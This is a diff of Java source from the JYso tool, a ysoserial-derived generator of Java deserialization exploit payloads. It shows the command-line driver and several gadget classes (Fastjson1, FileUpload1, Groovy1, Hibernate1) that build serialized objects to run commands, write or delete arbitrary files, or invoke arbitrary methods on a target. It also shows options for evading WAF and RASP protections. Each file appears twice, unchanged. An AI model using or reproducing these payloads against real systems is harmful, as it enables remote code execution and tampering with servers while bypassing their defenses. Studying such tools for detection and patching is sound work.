//是否使用反射绕过RASP
public static Boolean IS_OBSCURE = false;
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
// DefineClassFromParameter 的路径
public static String PARAMETER = "dc";
// 将输入直接写在文件里
public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false;
public static Boolean BASE64 = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
// ScriptEngineManager 是否为 RHINO 引擎
public static boolean USING_RHINO = false;
public static ClassPool POOL = ClassPool.getDefault();
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
private static boolean help = false;
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
public static void applyCmdArgs(String[] args) {
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
try {
jc.parse(args);
} catch (Exception e) {
System.out.println("Error: " + e.getMessage() + "\n");
help = true;
}
if (showGadgets) {
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.out.println(" " + line);
}
System.exit(0);
}
if (showVersion) {
System.exit(0);
}
//获取当前 Jar 的名称
jc.setProgramName("java -jar JYso.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
if (help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
// 特别注意:最后一个反斜杠不能少啊
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
}
public static void logo() {
String logo = " ┏┳┓┏ \n" +
" ┃┗┫┏┏┓ \n" +
" ┗┛┗┛┛┗┛ ";
// 高亮颜色代码(不包括黑色)
Ansi.Color[] colors = {
Ansi.Color.RED,
Ansi.Color.GREEN,
Ansi.Color.YELLOW,
Ansi.Color.BLUE,
Ansi.Color.MAGENTA,
Ansi.Color.CYAN,
Ansi.Color.WHITE
};
Random random = new Random();
StringBuilder coloredLogo = new StringBuilder();
for (char c : logo.toCharArray()) {
if (c != ' ' && c != '\n') {
// 选择一个随机的高亮颜色
Ansi.Color color = colors[random.nextInt(colors.length)];
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
} else {
// 保持空格和换行符
coloredLogo.append(c);
}
}
System.out.println(coloredLogo);
}
}
File diff suppressed because one or more lines are too long
@@ -1,191 +1,191 @@
package com.qi4l.JYso.gadgets.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
private static final Logger log = LogManager.getLogger(ysoserial.class);
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static void run(String[] args) {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
if (args.length == 1) {
printUsage(options);
System.exit(1);
}
try {
cmdLine = parser.parse(options, args);
} catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information");
printUsage(options);
System.exit(1);
}
if (cmdLine.hasOption("inherit")) {
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
}
if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true;
}
if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
}
if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("base64")) {
Config.BASE64 = true;
}
if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
}
if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
}
if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true;
}
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true;
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
//载入gadget
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
return;
}
try {
//载入payload
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap();
}
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
OutputStream out;
if (Config.WRITE_FILE) {
out = Files.newOutputStream(Paths.get(Config.FILE));
} else if(Config.BASE64) {
out = new ByteArrayOutputStream();
} else {
out = System.out;
}
Serializer.qi_serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(e));
System.exit(1);
}
System.exit(0);
}
public static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAFtype: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("b64", "base64", false, "base64 encoding");
return options;
}
private static void printUsage(Options options) {
logo();
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
System.err.println("\r\n");
HelpFormatter helpFormatter = new HelpFormatter();
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
helpFormatter.printHelp("JYso-[version].jar", options, true);
System.err.println("\r\n");
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely shortyou could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0);
}
}
package com.qi4l.JYso.gadgets.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
private static final Logger log = LogManager.getLogger(ysoserial.class);
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static void run(String[] args) {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
if (args.length == 1) {
printUsage(options);
System.exit(1);
}
try {
cmdLine = parser.parse(options, args);
} catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information");
printUsage(options);
System.exit(1);
}
if (cmdLine.hasOption("inherit")) {
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
}
if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true;
}
if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
}
if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("base64")) {
Config.BASE64 = true;
}
if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
}
if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
}
if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true;
}
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true;
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
//载入gadget
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
return;
}
try {
//载入payload
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap();
}
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
OutputStream out;
if (Config.WRITE_FILE) {
out = Files.newOutputStream(Paths.get(Config.FILE));
} else if(Config.BASE64) {
out = new ByteArrayOutputStream();
} else {
out = System.out;
}
Serializer.qi_serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(e));
System.exit(1);
}
System.exit(0);
}
public static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAFtype: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("b64", "base64", false, "base64 encoding");
return options;
}
private static void printUsage(Options options) {
logo();
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
System.err.println("\r\n");
HelpFormatter helpFormatter = new HelpFormatter();
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
helpFormatter.printHelp("JYso-[version].jar", options, true);
System.err.println("\r\n");
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely shortyou could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0);
}
}
@@ -1,45 +1,45 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class Fastjson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
Object templates = Gadgets.createTemplatesImpl(command);
return getFastjsonSink(templates);
}
static Object getFastjsonSink(Object templates) throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, val);
return hashMap;
}
}
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class Fastjson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
Object templates = Gadgets.createTemplatesImpl(command);
return getFastjsonSink(templates);
}
static Object getFastjsonSink(Object templates) throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, val);
return hashMap;
}
}
@@ -1,70 +1,70 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import java.io.File;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
@SuppressWarnings({"unused"})
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
@Override
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
} else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void release(Object obj) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import java.io.File;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
@SuppressWarnings({"unused"})
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
@Override
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
} else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void release(Object obj) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
}
@@ -1,26 +1,26 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.FROHOFF})
public class Groovy1 implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = createProxy(closure, Map.class);
return Gadgets.createMemoizedInvocationHandler(map);
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.FROHOFF})
public class Groovy1 implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = createProxy(closure, Map.class);
return Gadgets.createMemoizedInvocationHandler(map);
}
}
@@ -1,175 +1,175 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.hibernate.EntityMode;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
* <p>
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Authors({Authors.MBECHLER})
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies() {
if (System.getProperty("hibernate5") != null) {
return new String[]{
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
return new String[]{
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if (System.getProperty("hibernate5") != null) {
return makeHibernate5Getter(tplClass, method);
}
return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon);
if (!method.startsWith("get")) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
static Object makeCaller(Object tpl, Object getters) throws
Exception {
if (System.getProperty("hibernate3") != null) {
return makeHibernate3Caller(tpl, getters);
}
return makeHibernate45Caller(tpl, getters);
}
static Object makeHibernate45Caller(Object tpl, Object getters) throws
Exception {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return makeMap(v1, v2);
}
static Object makeHibernate3Caller(Object tpl, Object getters) throws
Exception {
// Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
